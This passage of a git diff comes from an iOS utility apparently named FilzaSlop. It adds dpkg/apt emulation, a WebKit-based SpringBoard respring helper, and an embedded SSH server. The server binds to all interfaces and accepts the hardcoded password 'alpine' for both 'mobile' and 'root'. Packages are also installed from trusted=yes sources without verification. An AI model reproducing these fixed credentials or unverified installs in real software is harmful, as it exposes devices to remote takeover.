currentValue.copy; + return fields; +} + +NSString *WQDebInfoText(NSString *path) +{ + NSData *archive = [NSData dataWithContentsOfFile:path]; + if (!archive.length) return nil; + NSData *controlArchive = WQArMember(archive, @"control.tar"); + if (!controlArchive.length) return nil; + NSData *controlData = WQArchiveEntryNamed(controlArchive, @"control"); + if (!controlData.length) return nil; + NSString *control = [[NSString alloc] initWithData:controlData + encoding:NSUTF8StringEncoding]; + if (!control.length) return nil; + NSMutableString *text = [NSMutableString stringWithFormat: + @" new Debian package, version 2.0.\n" + @" size %lu bytes: control archive %lu bytes.\n", + (unsigned long)archive.length, (unsigned long)controlArchive.length]; + [text appendString:control]; + if (![text hasSuffix:@"\n"]) [text appendString:@"\n"]; + return text; +} + +static NSString *WQStanzaForKey(NSString *text, NSString *key, NSString *value) +{ + NSArray *stanzas = [text componentsSeparatedByString:@"\n\n"]; + for (NSString *stanza in stanzas) { + BOOL match = NO; + for (NSString *line in [stanza componentsSeparatedByString:@"\n"]) { + if ([line hasPrefix:[key stringByAppendingString:@": "]]) { + match = [[line substringFromIndex:key.length + 2] + isEqualToString:value]; + break; + } + } + if (match) return stanza; + } + return nil; +} + +static NSString *WQFieldFromStanza(NSString *stanza, NSString *key) +{ + for (NSString *line in [stanza componentsSeparatedByString:@"\n"]) + if ([line hasPrefix:[key stringByAppendingString:@": "]]) + return [line substringFromIndex:key.length + 2]; + return nil; +} + +static void WQRemoveStatusStanza(NSString *package) +{ + NSString *text = [NSString stringWithContentsOfFile:WQStatusPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + NSMutableArray *keep = [NSMutableArray array]; + for (NSString *stanza in [text componentsSeparatedByString:@"\n\n"]) { + if (stanza.length == 0) continue; + NSString *name = WQFieldFromStanza(stanza, @"Package"); + if (![name isEqualToString:package]) [keep addObject:stanza]; + } + [[keep componentsJoinedByString:@"\n\n"] writeToFile:WQStatusPath() + atomically:YES encoding:NSUTF8StringEncoding error:nil]; +} + +static BOOL WQInstallDeb(NSString *path, FILE *out, FILE *err, + NSDictionary *options) +{ + WQEnsurePackageDirectories(); + NSData *archive = [NSData dataWithContentsOfFile:path]; + if (!archive.length) { + fprintf(err, "dpkg: cannot open %s\n", path.UTF8String); + return NO; + } + NSData *controlArchive = WQArMember(archive, @"control.tar"); + NSData *dataArchive = WQArMember(archive, @"data.tar"); + if (!controlArchive || !dataArchive) { + fprintf(err, "dpkg: %s is not a Debian archive\n", path.UTF8String); + return NO; + } + NSData *controlData = WQArchiveEntryNamed(controlArchive, @"control"); + if (!controlData) { + fprintf(err, "dpkg: missing control file in %s\n", path.UTF8String); + return NO; + } + NSString *control = [[NSString alloc] initWithData:controlData + encoding:NSUTF8StringEncoding]; + NSDictionary *fields = WQParseControl(control ?: @""); + NSString *package = fields[@"Package"] ?: @"unknown"; + NSString *version = fields[@"Version"] ?: @"0"; + NSString *architecture = fields[@"Architecture"] ?: @"iphoneos-arm64"; + BOOL force = options[@"force"] != nil; + if (!force && + ![architecture isEqualToString:@"iphoneos-arm64"] && + ![architecture isEqualToString:@"iphoneos-arm"] && + ![architecture isEqualToString:@"darwin-arm64"] && + ![architecture isEqualToString:@"all"]) { + fprintf(err, "dpkg: package architecture %s is not native " + "(use --force-architecture)\n", architecture.UTF8String); + return NO; + } + + fprintf(out, "Selecting previously unselected package %s.\n", + package.UTF8String); + NSMutableArray *installedFiles = [NSMutableArray array]; + if (!WQExtractArchiveData(dataArchive, WQInstallRoot(), installedFiles)) { + fprintf(err, "dpkg: failed to unpack %s\n", path.UTF8String); + return NO; + } + + WQRemoveStatusStanza(package); + NSMutableString *status = [NSMutableString stringWithContentsOfFile:WQStatusPath() + encoding:NSUTF8StringEncoding error:nil] ?: [NSMutableString string]; + if (status.length && ![status hasSuffix:@"\n\n"]) [status appendString:@"\n\n"]; + [status appendFormat: + @"Package: %@\n" + @"Status: install ok installed\n" + @"Priority: %@\n" + @"Section: %@\n" + @"Installed-Size: %@\n" + @"Maintainer: %@\n" + @"Architecture: %@\n" + @"Version: %@\n" + @"Description: %@\n\n", + package, + fields[@"Priority"] ?: @"optional", + fields[@"Section"] ?: @"utility", + fields[@"Installed-Size"] ?: @"0", + fields[@"Maintainer"] ?: @"unknown", + architecture, + version, + fields[@"Description"] ?: package]; + [status writeToFile:WQStatusPath() atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + NSString *listPath = [WQInfoDirectory() + stringByAppendingPathComponent:[package stringByAppendingString:@".list"]]; + [[installedFiles componentsJoinedByString:@"\n"] writeToFile:listPath + atomically:YES encoding:NSUTF8StringEncoding error:nil]; + fprintf(out, "Unpacking %s (%s) ...\n", package.UTF8String, version.UTF8String); + fprintf(out, "Setting up %s (%s) ...\n", package.UTF8String, version.UTF8String); + fprintf(out, "Installed to %s\n", WQInstallRoot().UTF8String); + return YES; +} + +#pragma mark - dpkg + +static void WQDPKGUsage(FILE *out) +{ + fprintf(out, + "Usage: dpkg \n" + " -i, --install Install a package\n" + " -r, --remove Remove a package\n" + " -P, --purge Remove a package\n" + " -l, --list List installed packages\n" + " -s, --status Show package status\n" + " -L, --listfiles List package files\n" + " -x, --extract Extract data archive\n" + " --contents List .deb contents\n" + " --print-architecture Print iphoneos-arm64\n" + " --force-architecture Allow non-native packages\n" + " --version Show version\n"); +} + +int WQDPKGMain(int argc, char **argv, FILE *out, FILE *err) +{ + WQEnsurePackageDirectories(); + if (argc < 2) { WQDPKGUsage(out); return 1; } + NSString *action = [NSString stringWithUTF8String:argv[1]]; + BOOL force = NO; + int index = 2; + for (int i = 2; i < argc; i++) { + NSString *arg = [NSString stringWithUTF8String:argv[i]]; + if ([arg isEqualToString:@"--force-architecture"]) force = YES; + } + NSDictionary *options = force ? @{ @"force": @YES } : @{}; + + if ([action isEqualToString:@"--version"]) { + fprintf(out, "dpkg 1.22 (FilzaSlop in-process)\n"); + return 0; + } + if ([action isEqualToString:@"--print-architecture"]) { + fprintf(out, "iphoneos-arm64\n"); + return 0; + } + if ([action isEqualToString:@"-l"] || [action isEqualToString:@"--list"]) { + NSString *text = [NSString stringWithContentsOfFile:WQStatusPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + fprintf(out, "Desired=Unknown/Install/Remove/Purge/Hold\n" + "||/ Name Version Architecture Description\n"); + for (NSString *stanza in [text componentsSeparatedByString:@"\n\n"]) { + if (stanza.length == 0) continue; + NSString *name = WQFieldFromStanza(stanza, @"Package"); + NSString *version = WQFieldFromStanza(stanza, @"Version") ?: @""; + NSString *arch = WQFieldFromStanza(stanza, @"Architecture") ?: @""; + NSString *description = WQFieldFromStanza(stanza, @"Description") ?: @""; + fprintf(out, "ii %-20s %-14s %-14s %s\n", + (name ?: @"").UTF8String, version.UTF8String, + arch.UTF8String, description.UTF8String); + } + return 0; + } + if ([action isEqualToString:@"-s"] || [action isEqualToString:@"--status"]) { + if (index >= argc) { fprintf(err, "dpkg: missing package\n"); return 1; } + NSString *package = [NSString stringWithUTF8String:argv[index]]; + NSString *text = [NSString stringWithContentsOfFile:WQStatusPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + NSString *stanza = WQStanzaForKey(text, @"Package", package); + if (!stanza) { fprintf(err, "dpkg: package %s is not installed\n", + package.UTF8String); return 1; } + fprintf(out, "%s\n", stanza.UTF8String); + return 0; + } + if ([action isEqualToString:@"-L"] || [action isEqualToString:@"--listfiles"]) { + if (index >= argc) { fprintf(err, "dpkg: missing package\n"); return 1; } + NSString *package = [NSString stringWithUTF8String:argv[index]]; + NSString *list = [NSString stringWithContentsOfFile: + [WQInfoDirectory() stringByAppendingPathComponent: + [package stringByAppendingString:@".list"]] + encoding:NSUTF8StringEncoding error:nil]; + if (!list) { fprintf(err, "dpkg: package %s has no file list\n", + package.UTF8String); return 1; } + fprintf(out, "%s\n", list.UTF8String); + return 0; + } + if ([action isEqualToString:@"-r"] || [action isEqualToString:@"--remove"] || + [action isEqualToString:@"-P"] || [action isEqualToString:@"--purge"]) { + if (index >= argc) { fprintf(err, "dpkg: missing package\n"); return 1; } + NSString *package = [NSString stringWithUTF8String:argv[index]]; + NSString *listPath = [WQInfoDirectory() + stringByAppendingPathComponent:[package stringByAppendingString:@".list"]]; + NSString *list = [NSString stringWithContentsOfFile:listPath + encoding:NSUTF8StringEncoding error:nil]; + NSFileManager *fm = NSFileManager.defaultManager; + for (NSString *relative in [list componentsSeparatedByString:@"\n"]) { + if (!relative.length) continue; + NSString *target = [WQInstallRoot() stringByAppendingPathComponent:relative]; + [fm removeItemAtPath:target error:nil]; + } + [fm removeItemAtPath:listPath error:nil]; + WQRemoveStatusStanza(package); + fprintf(out, "Removing %s ...\n", package.UTF8String); + return 0; + } + if ([action isEqualToString:@"-x"] || [action isEqualToString:@"--extract"] || + [action isEqualToString:@"--contents"]) { + if (index >= argc) { fprintf(err, "dpkg: missing .deb\n"); return 1; } + NSString *path = [NSString stringWithUTF8String:argv[index]]; + NSData *archive = [NSData dataWithContentsOfFile:path]; + NSData *data = WQArMember(archive, @"data.tar"); + if (!data) { fprintf(err, "dpkg: no data archive\n"); return 1; } + if ([action isEqualToString:@"--contents"]) { + NSMutableArray *files = [NSMutableArray array]; + WQExtractArchiveData(data, NSTemporaryDirectory(), files); + for (NSString *file in files) fprintf(out, "%s\n", file.UTF8String); + return 0; + } + NSString *destination = index + 1 < argc + ? [NSString stringWithUTF8String:argv[index + 1]] + : WQInstallRoot(); + NSMutableArray *files = [NSMutableArray array]; + return WQExtractArchiveData(data, destination, files) ? 0 : 1; + } + if ([action isEqualToString:@"-i"] || [action isEqualToString:@"--install"]) { + if (index >= argc) { fprintf(err, "dpkg: missing .deb\n"); return 1; } + BOOL all = YES; + for (; index < argc; index++) { + NSString *path = [NSString stringWithUTF8String:argv[index]]; + if ([path isEqualToString:@"--force-architecture"]) continue; + if (!WQInstallDeb(path, out, err, options)) all = NO; + } + return all ? 0 : 1; + } + WQDPKGUsage(out); + return 1; +} + +#pragma mark - apt + +static NSString *WQAptIndexPath(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent: + @"var/lib/apt/lists/Packages"]; +} + +static NSString *WQAptSourcesPath(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent:@"etc/apt/sources.list"]; +} + +static NSArray *WQAptStanzas(void) +{ + NSString *text = [NSString stringWithContentsOfFile:WQAptIndexPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + NSMutableArray *stanzas = [NSMutableArray array]; + for (NSString *stanza in [text componentsSeparatedByString:@"\n\n"]) + if (stanza.length) [stanzas addObject:stanza]; + return stanzas; +} + +static NSData *WQDownloadURL(NSString *urlString) +{ + NSURL *url = [NSURL URLWithString:urlString]; + if (!url) return nil; + if ([url isFileURL]) return [NSData dataWithContentsOfURL:url]; + dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); + __block NSData *result = nil; + NSURLSessionDataTask *task = [NSURLSession.sharedSession dataTaskWithURL:url + completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) { + if (!error && [(NSHTTPURLResponse *)response statusCode] / 100 == 2) + result = data; + dispatch_semaphore_signal(semaphore); + }]; + [task resume]; + dispatch_semaphore_wait(semaphore, dispatch_time(DISPATCH_TIME_NOW, 30 * NSEC_PER_SEC)); + return result; +} + +static void WQEnsureSources(void) +{ + NSString *path = WQAptSourcesPath(); + if ([[NSFileManager defaultManager] fileExistsAtPath:path]) return; + NSString *root = WQPackageRoot(); + NSString *line = [NSString stringWithFormat:@"deb [trusted=yes] file://%@/repo ./\n", root]; + [line writeToFile:path atomically:YES encoding:NSUTF8StringEncoding error:nil]; +} + +static void WQAptUsage(FILE *out) +{ + fprintf(out, + "Usage: apt \n" + " update Refresh package indexes\n" + " list List packages in the index\n" + " search Search package names/descriptions\n" + " show Show package details\n" + " install Install a package\n" + " remove|purge Remove a package\n" + " clean Clear downloaded archives\n" + " --version Show version\n" + "Root: %s\n", WQPackageRoot().UTF8String); +} + +int WQAptMain(int argc, char **argv, FILE *out, FILE *err) +{ + WQEnsurePackageDirectories(); + WQEnsureSources(); + if (argc < 2) { WQAptUsage(out); return 1; } + NSString *action = [NSString stringWithUTF8String:argv[1]]; + if ([action isEqualToString:@"--version"]) { + fprintf(out, "apt 2.7 (FilzaSlop in-process)\n"); + return 0; + } + if ([action isEqualToString:@"update"]) { + fprintf(out, "apt: updating package lists...\n"); + NSString *sources = [NSString stringWithContentsOfFile:WQAptSourcesPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + NSMutableString *index = [NSMutableString string]; + for (NSString *line in [sources componentsSeparatedByString:@"\n"]) { + if (![line hasPrefix:@"deb "]) continue; + NSArray *parts = [line componentsSeparatedByString:@" "]; + NSString *uri = nil; + for (NSString *part in parts) { + if ([part hasPrefix:@"http://"] || [part hasPrefix:@"https://"] || + [part hasPrefix:@"file://"]) { uri = part; break; } + } + if (!uri.length) continue; + NSArray *names = @[@"Packages", @"Packages.gz"]; + BOOL loaded = NO; + for (NSString *name in names) { + NSString *url = [uri stringByAppendingPathComponent:name]; + NSData *data = WQDownloadURL(url); + if (!data.length) continue; + if ([name hasSuffix:@".gz"]) { + // Decompress gzip through libarchive's raw reader. + WQArchive *archive = archive_read_new(); + archive_read_support_filter_all(archive); + archive_read_support_format_raw(archive); + if (archive_read_open_memory(archive, data.bytes, data.length) != ARCHIVE_OK) { + archive_read_free(archive); + continue; + } + struct archive_entry *entry; + NSMutableData *plain = [NSMutableData data]; + if (archive_read_next_header(archive, &entry) == WQ_ARCHIVE_OK) { + uint8_t buffer[65536]; + ssize_t got; + while ((got = archive_read_data(archive, buffer, sizeof(buffer))) > 0) + [plain appendBytes:buffer length:(NSUInteger)got]; + } + archive_read_free(archive); + data = plain; + } + NSString *text = [[NSString alloc] initWithData:data + encoding:NSUTF8StringEncoding]; + if (text.length) { + [index appendString:text]; + if (![index hasSuffix:@"\n"]) [index appendString:@"\n"]; + loaded = YES; + break; + } + } + fprintf(out, "%s: %s\n", loaded ? "Get" : "Err", uri.UTF8String); + } + [index writeToFile:WQAptIndexPath() atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + fprintf(out, "Reading package lists... Done\n"); + return 0; + } + if ([action isEqualToString:@"list"]) { + for (NSString *stanza in WQAptStanzas()) { + NSString *name = WQFieldFromStanza(stanza, @"Package") ?: @""; + NSString *version = WQFieldFromStanza(stanza, @"Version") ?: @""; + NSString *description = WQFieldFromStanza(stanza, @"Description") ?: @""; + fprintf(out, "%s/%s %s %s\n", name.UTF8String, + (WQFieldFromStanza(stanza, @"Architecture") ?: @"iphoneos-arm64").UTF8String, + version.UTF8String, description.UTF8String); + } + return 0; + } + if ([action isEqualToString:@"search"]) { + NSString *text = argc > 2 ? [NSString stringWithUTF8String:argv[2]] : @""; + for (NSString *stanza in WQAptStanzas()) + if (text.length == 0 || [stanza.lowercaseString containsString:text.lowercaseString]) { + NSString *name = WQFieldFromStanza(stanza, @"Package") ?: @""; + NSString *description = WQFieldFromStanza(stanza, @"Description") ?: @""; + fprintf(out, "%s - %s\n", name.UTF8String, description.UTF8String); + } + return 0; + } + if ([action isEqualToString:@"show"]) { + if (argc < 3) { fprintf(err, "apt: missing package\n"); return 1; } + NSString *package = [NSString stringWithUTF8String:argv[2]]; + for (NSString *stanza in WQAptStanzas()) + if ([WQFieldFromStanza(stanza, @"Package") isEqualToString:package]) { + fprintf(out, "%s\n", stanza.UTF8String); + return 0; + } + fprintf(err, "apt: package %s not found\n", package.UTF8String); + return 1; + } + if ([action isEqualToString:@"install"]) { + if (argc < 3) { fprintf(err, "apt: missing package\n"); return 1; } + NSString *target = [NSString stringWithUTF8String:argv[2]]; + if ([[NSFileManager defaultManager] fileExistsAtPath:target] || + [target hasSuffix:@".deb"]) + return WQDPKGMain(3, (char *[]){(char *)"dpkg", (char *)"-i", + (char *)target.UTF8String}, out, err) ? 0 : 1; + for (NSString *stanza in WQAptStanzas()) { + if (![WQFieldFromStanza(stanza, @"Package") isEqualToString:target]) continue; + NSString *filename = WQFieldFromStanza(stanza, @"Filename"); + NSString *source = @""; + NSString *sources = [NSString stringWithContentsOfFile:WQAptSourcesPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + for (NSString *line in [sources componentsSeparatedByString:@"\n"]) + for (NSString *part in [line componentsSeparatedByString:@" "]) + if ([part hasPrefix:@"http"] || [part hasPrefix:@"file://"]) { + source = part; break; + } + NSString *url = [source stringByAppendingPathComponent:filename ?: @""]; + NSData *deb = WQDownloadURL(url); + NSString *cache = [[WQPackageRoot() + stringByAppendingPathComponent:@"var/cache/apt/archives"] + stringByAppendingPathComponent:filename.lastPathComponent ?: @"package.deb"]; + if (!deb.length || ![deb writeToFile:cache atomically:YES]) { + fprintf(err, "apt: unable to download %s\n", url.UTF8String); + return 1; + } + return WQDPKGMain(3, (char *[]){(char *)"dpkg", (char *)"-i", + (char *)cache.UTF8String}, out, err) ? 0 : 1; + } + fprintf(err, "apt: package %s not found; run 'apt update'\n", target.UTF8String); + return 1; + } + if ([action isEqualToString:@"remove"] || [action isEqualToString:@"purge"]) { + if (argc < 3) { fprintf(err, "apt: missing package\n"); return 1; } + return WQDPKGMain(argc, (char *[]){(char *)"dpkg", (char *)"-r", + argv[2], NULL}, out, err) ? 0 : 1; + } + if ([action isEqualToString:@"clean"]) { + NSString *archives = [WQPackageRoot() + stringByAppendingPathComponent:@"var/cache/apt/archives"]; + for (NSString *name in [NSFileManager.defaultManager + contentsOfDirectoryAtPath:archives error:nil]) + [NSFileManager.defaultManager removeItemAtPath: + [archives stringByAppendingPathComponent:name] error:nil]; + fprintf(out, "apt: cache cleaned\n"); + return 0; + } + WQAptUsage(out); + return 1; +} + +BOOL WQInstallDebPackage(NSString *path, NSString **message) +{ + FILE *out = tmpfile(); + FILE *err = tmpfile(); + BOOL result = WQInstallDeb(path, out, err, @{}); + NSMutableString *text = [NSMutableString string]; + if (out) { + fflush(out); rewind(out); + char buffer[4096]; size_t got; + while ((got = fread(buffer, 1, sizeof(buffer), out)) > 0) + [text appendString:[[NSString alloc] initWithBytes:buffer + length:got encoding:NSUTF8StringEncoding] ?: @""]; + fclose(out); + } + if (err) { + fflush(err); rewind(err); + char buffer[4096]; size_t got; + while ((got = fread(buffer, 1, sizeof(buffer), err)) > 0) + [text appendString:[[NSString alloc] initWithBytes:buffer + length:got encoding:NSUTF8StringEncoding] ?: @""]; + fclose(err); + } + if (message) *message = text; + return result; +} diff --git a/WQRespring.h b/WQRespring.h new file mode 100644 index 0000000..d8d23f2 --- /dev/null +++ b/WQRespring.h @@ -0,0 +1,9 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Respring using the WebKit pressure method documented by Erosion +/// (neonmodder123). Returns immediately; SpringBoard normally relaunches. +FOUNDATION_EXPORT void WQPerformRespring(void); + +NS_ASSUME_NONNULL_END diff --git a/WQRespring.m b/WQRespring.m new file mode 100644 index 0000000..eb94e84 --- /dev/null +++ b/WQRespring.m @@ -0,0 +1,67 @@ +// +// WQRespring.m +// FilzaSlop +// +// WebKit-based respring method from Erosion / neonmodder123. +// + +#import "WQRespring.h" +#import +#import + +static WKWebView *gRespringWebView; + +static NSString *const kWQRespringHTML = +@"" +@"" +@""; + +void WQPerformRespring(void) +{ + dispatch_async(dispatch_get_main_queue(), ^{ + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) { + if (candidate.isKeyWindow && !candidate.isHidden) { + window = candidate; + break; + } + } + if (!window) { + for (UIWindow *candidate in UIApplication.sharedApplication.windows) { + if (!candidate.isHidden) { window = candidate; break; } + } + } + if (!window) return; + + if (!gRespringWebView) { + WKWebViewConfiguration *configuration = [WKWebViewConfiguration new]; + gRespringWebView = [[WKWebView alloc] initWithFrame:window.bounds + configuration:configuration]; + gRespringWebView.backgroundColor = UIColor.blackColor; + gRespringWebView.opaque = YES; + } + if (gRespringWebView.superview != window) { + gRespringWebView.frame = window.bounds; + [window addSubview:gRespringWebView]; + } + [gRespringWebView loadHTMLString:kWQRespringHTML baseURL:nil]; + NSLog(@"[Respring] WebKit respring pressure started"); + }); +} diff --git a/WQSSHServer.h b/WQSSHServer.h new file mode 100644 index 0000000..037ad26 --- /dev/null +++ b/WQSSHServer.h @@ -0,0 +1,14 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Starts the embedded libssh server. Both `mobile` and `root` authenticate +/// with password `alpine`; each session gets the same in-process shell engine +/// rooted at the worse_query hub. +FOUNDATION_EXPORT BOOL WQSSHServerStart(NSString *_Nullable *_Nullable error); +FOUNDATION_EXPORT void WQSSHServerStop(void); +FOUNDATION_EXPORT BOOL WQSSHServerIsRunning(void); +FOUNDATION_EXPORT NSInteger WQSSHServerPort(void); +FOUNDATION_EXPORT NSString *WQSSHServerURL(void); + +NS_ASSUME_NONNULL_END diff --git a/WQSSHServer.m b/WQSSHServer.m new file mode 100644 index 0000000..b1bf307 --- /dev/null +++ b/WQSSHServer.m @@ -0,0 +1,335 @@ +// +// WQSSHServer.m +// FilzaSlop +// +// In-process SSH server built on libssh (weakly linked; the public build +// does not ship libssh). Authentication is intentionally simple: +// mobile/alpine and root/alpine. Each session runs the same in-process shell +// engine used by Filza's terminal, starting in the worse_query hub. +// + +#import "WQSSHServer.h" +#import "WQTerminal.h" +#import "WQFilzaIntegration.h" + +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import + +#include +#include + +static ssh_bind gSSHBind; +static ssh_key gSSHHostKey; +static pthread_t gSSHListenerThread; +static BOOL gSSHRunning; +static NSInteger gSSHPort = 2222; +static NSString *gSSHLastError; +static NSObject *gSSHLock; + +static void WQSSHLog(NSString *message) +{ + NSLog(@"[WQSSH] %@", message); +} + +static BOOL WQSSHLibraryAvailable(void) +{ + return dlsym(RTLD_DEFAULT, "ssh_bind_new") != NULL && + dlsym(RTLD_DEFAULT, "ssh_handle_key_exchange") != NULL; +} + +#pragma mark - Session shell + +static const char *WQSSHAuthorizedPassword(const char *user) +{ + if (!user) return NULL; + if (strcmp(user, "mobile") == 0 || strcmp(user, "root") == 0) + return "alpine"; + return NULL; +} + +static void *WQSSHClientThread(void *argument) +{ + ssh_session session = (ssh_session)argument; + @autoreleasepool { + if (!session) return NULL; + if (ssh_handle_key_exchange(session) != SSH_OK) { + WQSSHLog([NSString stringWithFormat:@"key exchange failed: %s", + ssh_get_error(session)]); + ssh_disconnect(session); + ssh_free(session); + return NULL; + } + + ssh_channel channel = NULL; + char authenticatedUser[64] = {0}; + BOOL authenticated = NO; + + while (gSSHRunning) { + ssh_message message = ssh_message_get(session); + if (!message) break; + int type = ssh_message_type(message); + int subtype = ssh_message_subtype(message); + + if (type == SSH_REQUEST_AUTH && !authenticated) { + if (subtype == SSH_AUTH_METHOD_PASSWORD) { + const char *user = ssh_message_auth_user(message); + const char *password = ssh_message_auth_password(message); + const char *expected = WQSSHAuthorizedPassword(user); + if (expected && password && strcmp(password, expected) == 0) { + ssh_message_auth_reply_success(message, 0); + authenticated = YES; + strncpy(authenticatedUser, user, + sizeof(authenticatedUser) - 1); + WQSSHLog([NSString stringWithFormat:@"login user=%s", user]); + ssh_message_free(message); + continue; + } + } + ssh_message_auth_set_methods(message, SSH_AUTH_METHOD_PASSWORD); + ssh_message_reply_default(message); + } else if (authenticated && type == SSH_REQUEST_CHANNEL_OPEN && + subtype == SSH_CHANNEL_SESSION) { + channel = ssh_message_channel_request_open_reply_accept(message); + } else if (authenticated && type == SSH_REQUEST_CHANNEL && channel) { + if (subtype == SSH_CHANNEL_REQUEST_PTY) { + ssh_message_channel_request_reply_success(message); + } else if (subtype == SSH_CHANNEL_REQUEST_SHELL) { + ssh_message_channel_request_reply_success(message); + ssh_message_free(message); + break; + } else { + ssh_message_reply_default(message); + } + } else { + ssh_message_reply_default(message); + } + ssh_message_free(message); + } + + if (!authenticated || !channel) { + ssh_disconnect(session); + ssh_free(session); + return NULL; + } + + setenv("USER", authenticatedUser, 1); + setenv("LOGNAME", authenticatedUser, 1); + setenv("HOME", NSHomeDirectory().UTF8String, 1); + setenv("SHELL", "fish", 1); + + int pid = -1; + int master = WQTerminalSpawnShell(&pid, WQVirtualRootFolder()); + if (master < 0) { + const char *failure = "Unable to start the in-process shell.\r\n"; + ssh_channel_write(channel, failure, (uint32_t)strlen(failure)); + ssh_channel_send_eof(channel); + ssh_channel_close(channel); + ssh_channel_free(channel); + ssh_disconnect(session); + ssh_free(session); + return NULL; + } + fcntl(master, F_SETFL, O_NONBLOCK); + + char buffer[4096]; + while (gSSHRunning && ssh_channel_is_open(channel)) { + int incoming = ssh_channel_read_nonblocking(channel, buffer, + sizeof(buffer), 0); + if (incoming > 0) { + ssize_t written = 0; + while (written < incoming) { + ssize_t step = write(master, buffer + written, + (size_t)(incoming - written)); + if (step <= 0) break; + written += step; + } + } else if (incoming == SSH_ERROR) { + // Client may have half-closed stdin after piping a command. + // Keep pumping shell output until the shell exits. + } + + ssize_t outgoing = read(master, buffer, sizeof(buffer)); + if (outgoing > 0) { + int offset = 0; + while (offset < outgoing) { + int sent = ssh_channel_write(channel, buffer + offset, + (uint32_t)(outgoing - offset)); + if (sent <= 0) break; + offset += sent; + } + } else if (outgoing < 0 && errno != EAGAIN && errno != EWOULDBLOCK) { + break; + } + usleep(5000); + } + + close(master); + ssh_channel_send_eof(channel); + ssh_channel_close(channel); + ssh_channel_free(channel); + ssh_disconnect(session); + ssh_free(session); + } + return NULL; +} + +#pragma mark - Listener + +static void *WQSSHListener(void *argument) +{ + @autoreleasepool { + while (gSSHRunning) { + ssh_session session = ssh_new(); + if (!session) break; + if (ssh_bind_accept(gSSHBind, session) != SSH_OK) { + ssh_free(session); + if (!gSSHRunning) break; + usleep(20000); + continue; + } + pthread_t thread; + if (pthread_create(&thread, NULL, WQSSHClientThread, session) == 0) { + pthread_detach(thread); + } else { + ssh_disconnect(session); + ssh_free(session); + } + } + } + return NULL; +} + +static BOOL WQSSHTryPort(NSInteger port, NSString **error) +{ + gSSHBind = ssh_bind_new(); + if (!gSSHBind) { + if (error) *error = @"ssh_bind_new failed"; + return NO; + } + unsigned int bindPort = (unsigned int)port; + ssh_bind_options_set(gSSHBind, SSH_BIND_OPTIONS_BINDADDR, "0.0.0.0"); + ssh_bind_options_set(gSSHBind, SSH_BIND_OPTIONS_BINDPORT, &bindPort); + if (gSSHHostKey) + ssh_bind_options_set(gSSHBind, SSH_BIND_OPTIONS_IMPORT_KEY, gSSHHostKey); + if (ssh_bind_listen(gSSHBind) != SSH_OK) { + if (error) *error = [NSString stringWithFormat:@"listen failed: %s", + ssh_get_error(gSSHBind)]; + ssh_bind_free(gSSHBind); + gSSHBind = NULL; + return NO; + } + gSSHPort = port; + return YES; +} + +BOOL WQSSHServerStart(NSString **error) +{ + @synchronized (gSSHLock ?: (gSSHLock = [NSObject new])) { + if (gSSHRunning) return YES; + if (!WQSSHLibraryAvailable()) { + if (error) *error = @"libssh is not bundled in this build"; + return NO; + } + ssh_init(); + if (!gSSHHostKey) { + if (ssh_pki_generate(SSH_KEYTYPE_RSA, 2048, &gSSHHostKey) != SSH_OK) { + if (error) *error = @"failed to generate SSH host key"; + ssh_finalize(); + return NO; + } + } + gSSHRunning = YES; + BOOL bound = NO; + NSString *lastError = nil; + NSInteger requested = WQSSHServerPort(); + for (NSInteger port = requested; port < requested + 8; port++) { + if (WQSSHTryPort(port, &lastError)) { bound = YES; break; } + } + if (!bound) { + gSSHRunning = NO; + ssh_finalize(); + if (error) *error = lastError ?: @"unable to bind SSH port"; + WQSSHLog([NSString stringWithFormat:@"start failed: %@", lastError]); + return NO; + } + if (pthread_create(&gSSHListenerThread, NULL, WQSSHListener, NULL) != 0) { + gSSHRunning = NO; + ssh_bind_free(gSSHBind); + gSSHBind = NULL; + if (error) *error = @"failed to create SSH listener thread"; + return NO; + } + pthread_detach(gSSHListenerThread); + gSSHLastError = nil; + WQSSHLog([NSString stringWithFormat:@"started port=%ld url=%@", + (long)gSSHPort, WQSSHServerURL()]); + return YES; + } +} + +void WQSSHServerStop(void) +{ + @synchronized (gSSHLock ?: (gSSHLock = [NSObject new])) { + if (!gSSHRunning && !gSSHBind) return; + gSSHRunning = NO; + if (gSSHBind) { + ssh_bind_free(gSSHBind); + gSSHBind = NULL; + } + if (gSSHHostKey) { + ssh_key_free(gSSHHostKey); + gSSHHostKey = NULL; + } + ssh_finalize(); + WQSSHLog(@"stopped"); + } +} + +BOOL WQSSHServerIsRunning(void) +{ + return gSSHRunning; +} + +NSInteger WQSSHServerPort(void) +{ + id value = [NSUserDefaults.standardUserDefaults objectForKey:@"WQSSHPort"]; + NSInteger port = [value respondsToSelector:@selector(integerValue)] + ? [value integerValue] : 2222; + if (port < 1024 || port > 65535) port = 2222; + return port; +} + +NSString *WQSSHServerURL(void) +{ + struct ifaddrs *interfaces = NULL; + NSString *ip = nil; + if (getifaddrs(&interfaces) == 0) { + for (struct ifaddrs *cursor = interfaces; cursor; cursor = cursor->ifa_next) { + if (!cursor->ifa_addr || cursor->ifa_addr->sa_family != AF_INET) continue; + NSString *name = [NSString stringWithUTF8String:cursor->ifa_name ?: ""]; + if ([name isEqualToString:@"lo0"]) continue; + char address[INET_ADDRSTRLEN] = {0}; + struct sockaddr_in *sin = (struct sockaddr_in *)cursor->ifa_addr; + if (!inet_ntop(AF_INET, &sin->sin_addr, address, sizeof(address))) continue; + NSString *candidate = [NSString stringWithUTF8String:address]; + if ([name isEqualToString:@"en0"] || [name isEqualToString:@"en1"]) { + ip = candidate; + break; + } + if (!ip) ip = candidate; + } + freeifaddrs(interfaces); + } + return [NSString stringWithFormat:@"ssh -p %ld mobile@%@", + (long)gSSHPort, ip ?: @"127.0.0.1"]; +} diff --git a/WQStartupUI.h 